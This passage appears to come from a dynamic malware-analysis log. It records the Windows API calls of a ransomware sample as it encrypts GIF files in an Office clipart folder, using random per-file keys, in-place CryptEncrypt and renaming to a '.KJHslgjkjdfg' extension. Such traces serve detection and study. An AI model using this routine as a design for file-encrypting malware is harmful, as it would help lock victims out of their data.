hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0219.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.499] GetProcessHeap () returned 0x990000 [0219.499] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.499] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.499] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.499] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.501] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.501] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.501] GetProcessHeap () returned 0x990000 [0219.501] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.501] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.501] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.501] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.501] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.502] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.502] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.502] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.502] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.502] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.502] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.502] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.502] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x90c, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x90c, lpOverlapped=0x0) returned 1 [0219.502] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x910, dwBufLen=0x910 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x910) returned 1 [0219.502] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.502] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x910, lpOverlapped=0x0) returned 1 [0219.502] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.502] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.502] SetEndOfFile (hFile=0x138) returned 1 [0219.504] GetProcessHeap () returned 0x990000 [0219.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.504] GetProcessHeap () returned 0x990000 [0219.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif.kjhslgjkjdfg")) returned 1 [0219.506] CloseHandle (hObject=0x138) returned 1 [0219.506] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0219.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.506] GetProcessHeap () returned 0x990000 [0219.507] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.507] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.507] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.507] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0219.509] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.509] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.509] GetProcessHeap () returned 0x990000 [0219.509] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.509] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.509] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.509] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.509] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.509] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.509] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.509] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.509] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.509] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.509] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.509] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.509] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x581, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x581, lpOverlapped=0x0) returned 1 [0219.509] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x590, dwBufLen=0x590 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x590) returned 1 [0219.509] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.509] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x590, lpOverlapped=0x0) returned 1 [0219.510] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.510] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.510] SetEndOfFile (hFile=0x138) returned 1 [0219.512] GetProcessHeap () returned 0x990000 [0219.512] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.512] GetProcessHeap () returned 0x990000 [0219.513] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif.kjhslgjkjdfg")) returned 1 [0219.515] CloseHandle (hObject=0x138) returned 1 [0219.515] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0219.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.516] GetProcessHeap () returned 0x990000 [0219.516] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.516] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.516] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.516] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0219.518] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.518] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.518] GetProcessHeap () returned 0x990000 [0219.518] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.518] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.518] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.518] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.518] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.518] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.518] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.518] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.518] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.518] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.518] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.518] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.518] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15fa, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x15fa, lpOverlapped=0x0) returned 1 [0219.519] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1600, dwBufLen=0x1600 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1600) returned 1 [0219.519] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.519] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1600, lpOverlapped=0x0) returned 1 [0219.519] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.519] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.519] SetEndOfFile (hFile=0x138) returned 1 [0219.522] GetProcessHeap () returned 0x990000 [0219.522] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.522] GetProcessHeap () returned 0x990000 [0219.522] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.522] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif.kjhslgjkjdfg")) returned 1 [0219.523] CloseHandle (hObject=0x138) returned 1 [0219.523] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0219.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.525] GetProcessHeap () returned 0x990000 [0219.525] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.525] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.525] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.525] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0219.528] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.528] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.528] GetProcessHeap () returned 0x990000 [0219.528] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.528] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.528] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.528] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.528] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.528] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.528] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.529] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.529] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.529] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.529] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.529] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.529] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3ef, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x3ef, lpOverlapped=0x0) returned 1 [0219.529] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x3f0, dwBufLen=0x3f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x3f0) returned 1 [0219.529] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.529] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x3f0, lpOverlapped=0x0) returned 1 [0219.529] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.529] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.529] SetEndOfFile (hFile=0x138) returned 1 [0219.531] GetProcessHeap () returned 0x990000 [0219.531] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.531] GetProcessHeap () returned 0x990000 [0219.531] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif.kjhslgjkjdfg")) returned 1 [0219.533] CloseHandle (hObject=0x138) returned 1 [0219.533] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0219.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.534] GetProcessHeap () returned 0x990000 [0219.534] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.534] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.534] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.534] 